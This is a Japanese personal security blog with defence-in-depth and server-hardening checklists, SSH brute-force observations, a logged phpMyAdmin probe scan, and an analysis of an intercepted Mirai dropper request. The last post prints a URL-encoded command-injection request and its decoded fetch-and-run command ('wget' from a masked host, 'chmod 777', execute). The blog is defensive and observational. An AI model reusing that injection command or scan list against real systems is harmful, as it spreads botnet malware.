fragiler’s Security blog

会社でセキュリティ担当しています。まだまだ勉強中の身ですが、遊びがてら発見したセキュリティ関連のことがらを呟こうと思います。

セキュリティの「多層防御」について考えてみた

セキュリティ対策を考える際によく出てくる「多層防御」という言葉。

 

「入口対策~内部対策~出口対策」とか「偵察~武器化~~~目的実行」とか、いろんな流れがあるなかで「各段階で有効な対策を組み合わせましょう」という言葉と思っております。

 

が、いまいち「じゃぁ具体的にどこまで何しなきゃいけないのさ?」というのがモヤモヤしていたので、そもそもどんな具体策があるのかを自分なりに整理してみました。

 

以下の具体策はこれまでセミナーで聞いたり、セキュリティベンダの営業の方から聞いたり、ブログで見た内容をもとにまとめたものです。

 

ちょっとカテゴリ違うんじゃない?と思われるものもあるかもしれませんが、あしからず・・・。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

【主に入口対策】
■通信による侵入を防ぐ(決められた通信だけ入れる)
■Webからのマルウェア侵入を防ぐ(攻撃コードを通過させない)
 ⇒ExploitKitの配置されたWebサイトへつなげさせない(URLブラックリストによる通信遮断)
 ⇒ウィルスゲートウェイによりマルウェアのダウンロードを遮断
■メールによるマルウェア侵入を防ぐ(メール添付ファイルの検知)
 ⇒メールフィルタリングシグネチャ
 ⇒メールフィルタリングSandBox型
■PCに外部媒体からマルウェアを侵入させない
 ⇒アンチウィルスによる検知
 ⇒外部媒体接続時の自動実行の抑止
 ⇒外部媒体を接続させない
■不正アプリからのマルウェアを侵入させない
 ⇒アンチウィルスによる検知
 ⇒アプリを勝手にインストールさせない
■PCにマルウェアを保存させない
 ⇒アンチウィルス(シグネチャ型・機械学習型)
 ⇒アンチウィルス(レピュテーション型)
 ⇒特定フォルダ以外ファイルを保存させない
■過去にPCに保存されたマルウェアを見つける
 ⇒アンチウィルスによるフルスキャン
■PCで攻撃コードを受信させない
 ⇒ホスト型IPS
 ⇒不要なWindowsサービスを停止する
 ⇒Web分離
■PCでマルウェアを実行させない
 ⇒振舞い検知させる
 ⇒マルウェアによく使われる拡張子関連付けの変更する
 ⇒SandBoxで動かして安全が確認できてから実行させる
 ⇒マクロの無効化
 ⇒スクリプト関連プログラムの無効化
 
【主に内部対策】
■情報に触れさせない
 ⇒ネットワークによるアクセス先の分離
 ⇒認証によるアクセス制御
 ⇒権限によるアクセス先の制御
■権限昇格させない
 ⇒そもそも論としてユーザに管理者権限を与えない
 ⇒脆弱性対策パッチ
■遠隔操作させない(アプリを起動させないなど)
 ⇒脆弱性対策パッチ
 ⇒ホワイトリスト型アプリコントロール
 ⇒ブラックリスト型アプリコントロール
 ⇒レジストリを変更させない
 ⇒タスクを登録させない(バックドアを作らせない)
 ⇒スタートアップに登録させない
■不審な処理を検知する
 ⇒EDRによる検知(Excelからcmd.exe呼び出すようなものなど)
 
【主に出口対策】
■C2と通信させない(PC)
 ⇒アプリケーションによる通信制
 ⇒PCファイアウォールで特定拡張子のOutBound通信をブロックする
 ⇒EDRによる端末隔離
■C2と通信させない(NW機器)
 ⇒URLブラックリストによる通信遮断
 ⇒IPブラックリストによる通信遮断
 ⇒通信データ内容で通信遮断
 ⇒プロキシ認証による通信制
 ⇒UserAgentによる通信制御(アプリケーションによる通信制御)
 ⇒ポートによる通信制
■情報を持ち出させない
 ⇒ゲートウェイ機器で特定拡張子の通信を遮断(RARなど)
 ⇒ゲートウェイ機器で特定容量以上の通信を遮断(2M以上は遮断など)
■情報を読めないようにする
 ⇒データを暗号化する
 ⇒データを暗号化し認証サーバと通信できない場合解読できないようにする
 
【(ついでに)インシデントレスポンス対応】
■追跡できるようにする
 ⇒イベントログをPCに保存する
 ⇒ウィルス検知ログをPCに保存する
 ⇒メールの送受信内容を保存する
 ⇒FWの通信ログを保存する
 ⇒プロキシの通信ログを保存する
 ⇒ADの認証ログを保存する
 ⇒ファイルサーバの操作ログを保存する
 ⇒全通信のパケットをキャプチャする
 ⇒業務サーバの操作ログを保存する
 ⇒サーバ系機器の管理者アカウントの認証ログを保存する
 ⇒サーバ系機器の管理者アカウントの操作ログを保存する
-------------------------------------
実現する製品やソリューションはいろいろあります。(そもそもWindowsの基本機能でできるものもあります。)
また、対策自体もたぶん他にもいろいろとあります。
 
それに、全部実現したからといって完璧に防げるわけではありませんし、おそらく運用やユーザの使い勝手がものすごく大変なことになると思います。
 
セキュリティ対策はバランスを考えて・・・
ちなみに私の会社でも実際に行っているのはこの中の一部です。

7月にsshで不正ログインしようとしてきたアカウント達

だいぶ間が開いてしまった情報ですが、7月はsshへの不正ログインの試行が非常に多かったです。

 

計428件。平均14件/日くらいだったみたい。

なかでもこの月は日本人の苗字を使ったアカウントによるアクセスがけっこうありました。そのほとんどが国内のIPアドレスからのアクセスでしたが・・・。

 

日本人の苗字アカウントのリストでもあるんでしょうね。きっと。

 

ちなみにトップ3は「admin」「test」「oracle」で、それぞれ12件/月くらいでした。

 

f:id:fragiler:20170910203641g:plain

f:id:fragiler:20170910203653g:plain

Webアンケートサイトを立ち上げる時に確認すべきポイント

「Webアンケートサイトを立ち上げる時に気にしたほうがよいポイントって何だろう」というポイントまとめてみました。

 

企業ではいろいろな部門が情報発信や情報収集のためWebサイトを立ち上げると思います。

 

手っ取り早くユーザの声を集めたいときなどは、アンケート専用のWebシステムをサービス提供する会社を利用する場合も多いと思うので、その視点でまとめました。

 

特に「ユーザの個人情報を収集する」場合は、情報漏えいリスクを極力低減させるため、「これくらいは対応できてますよね?」と確認し、もし対応が不足している場合は依頼を控えたほう良いと思います。

 

-------------------------------------

【システムの保管場所】
・システムを設置しているデータセンターにおいて、各種対策(入退室管理、防犯管理、持込・持ち出し管理、耐震・耐水・耐火対策 等)が行われていること
 
【Webシステムのセキュリティ】
SSLによる通信暗号化が行われていること
・WAF、IPS/IDSによる不正アクセス対策が行われ、監視されていること
・サーバOS、ミドルウェア等へのセキュリティパッチ適用が適切に行われていること
・各サーバにおけるウィルス対策(リアルスキャン、定期スキャン 等)が行われていること
・サイトに対する脆弱性診断が年に1回以上行われ、脆弱性が発見された場合は対応されていること
 
【提供側の運用】
・サービス提供者側のシステムに対する作業履歴が保存され適時チェックされていること
・インシデントが発見された場合、速やかに契約者に対する連絡が行われること
・インシデントが発見された場合、契約者側からのログ提出依頼等の調査に協力すること
 
【契約者側(サイト管理者)の運用】
・サイト管理者のアクセス権をアカウント単位で適切に設定できること
・サイト管理者による作業履歴が保存され、適時チェックできること
・サイト管理者の認証について、パスワードの条件設定等による認証強化が行えること
・サイト管理画面アクセスについて、接続元IP制限等により接続制限が行われていること
 
【データの保存状態】
・アンケートデータを保存するDBが暗号化されていること
・システム内に保存されるログデータにアンケートの回答内容が書き込まれない仕様となっていること
・サイト閉鎖時などは、アンケートで回収したデータが確実に消去されること

-------------------------------------

Webサイトの構築(これくらいはやってて欲しいOS設定編)

どこの企業も一般の方々向けのWebサイトを立ち上げるのは当たり前の時代です。

Webサイト立ち上げのツールや、安い料金でサイトを立ち上げてくれるサイト構築ベンダなど、いまや簡単にサイトの構築ができます。

 

でもセキュリティ担当やっていると一抹の不安も…

 「ちゃんとセキュリティ対策してもらえているのかだろうか…」

 

ということで「最低限これくらいやっててくれていればいいのではないか?」と思う対策をまとめてみました。

 

まず基本的なOS部分について…

ファイアウォールでインターネット側に開放するポートを適切に設定する

ただの商品紹介したいだけなら、とりあえず80番ポートだけ開放でいいと思うんです。SSHでリモートからメンテナンスしたいなら、追加で22番ポートも開ければいいと思うんです。

「何も通信できない状態」から「必要なポートを開放していく」という考え方にしたほうがよいと思うんです。よく分からないから「何も設定しない(=全ポート開放状態)」はマズイんです…

 

②管理者用ログインアカウントの設定を不正アクセスされにくいもににする

「root」とか「admin」とか「user」とか「test」とか、ある程度誰でも想像できるアカウントは使わないほういいです。何せリスト化されてますから…

またパスワードも同様で「password」とか「qwerty」とか「password1!」とか使わないほうがいいと思うんです。きっとリスト化されてますから。

 

③root権限アカウントの直接ログインを禁止する

上記②で『「root」は使わないほうがよい』と書いておりますが、作業時には「root」が必要な時もあると思います。なので、「root」などはログインアカウントとして使えなくし、別アカウントでログインした後「su」コマンドで利用できるようにしたほうがよいです。

これは万が一「root権限で不正ログインされる」=「サーバーを一発で乗っ取られる」ということを防ぐため

 

SSHでリモート接続が必要な場合は、IPアドレスの接続元制限を行う

SSHはほぼ毎日のように不正アクセスする人たちがドアをノックする感覚でログインしようとしてきます。なので、SSHで接続できる接続元IPをファイアウォールで制限かけるべきと思います。

 

⑤日々の運用でログイン履歴を確認する

毎日1回とか定期的にOSへのログイン記録を見る習慣があったほうが良いと思います。Webサイトであれば、メンテナンスでもしない限りOSへのログインは発生しないはず。予期せぬ時間帯のログインや、メンテナンスでもないのにログインされたりしていないか?などなど。

 

他にもいろいろと対策はあるし、強化すべきポイントもあると思います。

ただ自分でWebサーバを立ち上げて日々観察してるなかでは、最低限上記くらいやっておけばお遊びで不正ログインしようとする輩からサーバを守れるのでは?と思いました。

 

ということでOS設定についてはここまで。そのうちWebサーバー系の部分の書こうと思います。

sshに対する不正アクセス

前回から少し間が開いてしまいましたが、その間sshに対する大量のログイン試行がありました。

 

41時間かけて10分間隔でダラダラとログインを試していたようです。

以下がログイン試行に使われたアカウント達です。

f:id:fragiler:20170423223810p:plain

admin的なものもあればOS名もあればCMS名もあれば、testとかbotとかgitとかいろんなものを混ぜ合わせたリストですね。

 

なお、このログインが試された実験サーバは特定のアカウント以外はsshログインできないようにしており、証明書による認証も行っているので全く問題なし。

 

ただsshのポート番号を22から変更しているのですが、見つけた途端これだけのアカウントでログインを試すということは、sshのポートを探し出して見つけたらログインを試みるようなものがいるのでしょうね。

 

ちなみにsshポート番号を22のままにしておいた時は、毎日のようにログイン試行がありました。ポート番号を変えると少しはリスク低減になるのかもしれません。

 

phpMyAdminのスキャン

初めてこのログを見たときは少しびっくりしました。

40秒ほどのあいだに以下のログが記録されてて「ヤバい!なんかされてる!」と焦ってしまいましたが、ネットで調べてみるとたくさん報告されてますね。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
GET /scripts/setup.php HTTP/1.1
GET /admin/scripts/setup.php HTTP/1.1
GET /admin/pma/scripts/setup.php HTTP/1.1
GET /admin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /db/scripts/setup.php HTTP/1.1
GET /dbadmin/scripts/setup.php HTTP/1.1
GET /myadmin/scripts/setup.php HTTP/1.1
GET /mysql/scripts/setup.php HTTP/1.1
GET /mysqladmin/scripts/setup.php HTTP/1.1
GET /typo3/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpadmin/scripts/setup.php HTTP/1.1
GET /pma/scripts/setup.php HTTP/1.1
GET /web/phpMyAdmin/scripts/setup.php HTTP/1.1
GET /xampp/phpmyadmin/scripts/setup.php HTTP/1.1
GET /web/scripts/setup.php HTTP/1.1
GET /php-my-admin/scripts/setup.php HTTP/1.1
GET /websql/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /_phpmyadmin/scripts/setup.php HTTP/1.1
GET /administrator/components/com_joommyadmin/phpmyadmin/scripts/setup.php HTTP/1.1
GET /apache-default/phpmyadmin/scripts/setup.php HTTP/1.1
GET /blog/phpmyadmin/scripts/setup.php HTTP/1.1
GET /cpanelphpmyadmin/scripts/setup.php HTTP/1.1
GET /cpphpmyadmin/scripts/setup.php HTTP/1.1
GET /forum/phpmyadmin/scripts/setup.php HTTP/1.1
GET /php/phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpmyadmin/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0-rc1-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1
GET /phpMyAdmin2/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1
GET /phpMyAdmin3/scripts/setup.php HTTP/1.1

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

これはphpMyAdmin脆弱性を狙う攻撃のスキャン行為とのこと。
先日のStrutsと同様、phpMyAdmin入れてないから関係ない…

 ネット上の過去の情報と比べるとVerの数字(「phpMyAdmin-3.1.2.0」とか)あたりの種類が増えてました。スキャンツールもどんどん更新されてるんでしょうね。

これらと同様のスキャンですが、3月中に計5回のスキャンが来ていました。
User-Agentを見ると

の2種類がありました。

Mozilla/5.0 Jorgee」は計4つのIPから来ているので、よく使われるツールなのか、このツールを使っている攻撃者がいろんなところのサーバを乗っ取っているのか…。

User-Agentを見てアクセス拒否することも可能なようなので、それで避けることもできそうです。
それ以外にも「標準設定のパスやファイル名使わない」とか、「コンソールへのアクセスをIPで制限する」とかできるようです。

根本的にはさっさとバージョンアップ…(システムの稼働などに問題なければ)

Mirai-BotnetのDropperを落とそうとするアクセス

Struts2攻撃と思われるものに交じって、こんなのが来てました。

 「GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%3A%2F
%2F%XX%XX%2E%XX%XX%XX%2E%XX%XX%XX%2E%XX%XX%3A%35%34%33
%32%31%2F%64%6C%72%2E%61%72%6D%3B%63%68%6D%6F%64%20%37%37
%37%20%2A%3B%2E%2F%64%6C%72%2E%61%72%6D HTTP/1.1」

 

文字列を調べてみたところ「URLデコード」という処理ができそうと分かったので、デコードしてみると…

cd /tmp;wget http://XX.XXX.XXX.XX:54321/dlr.arm;chmod 777 *;./dlr.arm

IPアドレス部分は伏字にしております)

 

何か外部からとってくる命令っぽかったので、wgetで「dlr.arm」とやらを取ってきてみました。

 

マルウェアかなぁと思い、とりあえずFileコマンドで調べると

[tmp]$ file dlr.arm
dlr.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

何かの実行ファイルっぽい。

 

さすがに実行はヤバそうなのでエディタで開いてみたら…

f:id:fragiler:20170327235737p:plain

Mirai???

GET部分を見てみると、Mirai.armとあるので、Mirai関連の実行ファイルでも落としてくるものなんですかね。

 

と、悶々としていたところ、某セキュリティ調査機関のメルマガでまったく同じものがレポートとして配信されていました。やっぱりwgetで手に入れたマルウェアはMiraiのDropperだったようです。

 

そのレポートによると、このアクセスは北アメリカと日本のサーバーを狙った攻撃キャンペーンで、コマンドインジェクションでDropperダウンロードさせて実行・感染⇒Mirai本体ダウンロードして感染⇒Botnet参加となるようです。

ただし感染には「BusyBox」とやらを導入している必要があるらしい。(←これまた良く分からないので、本日はこれまで…)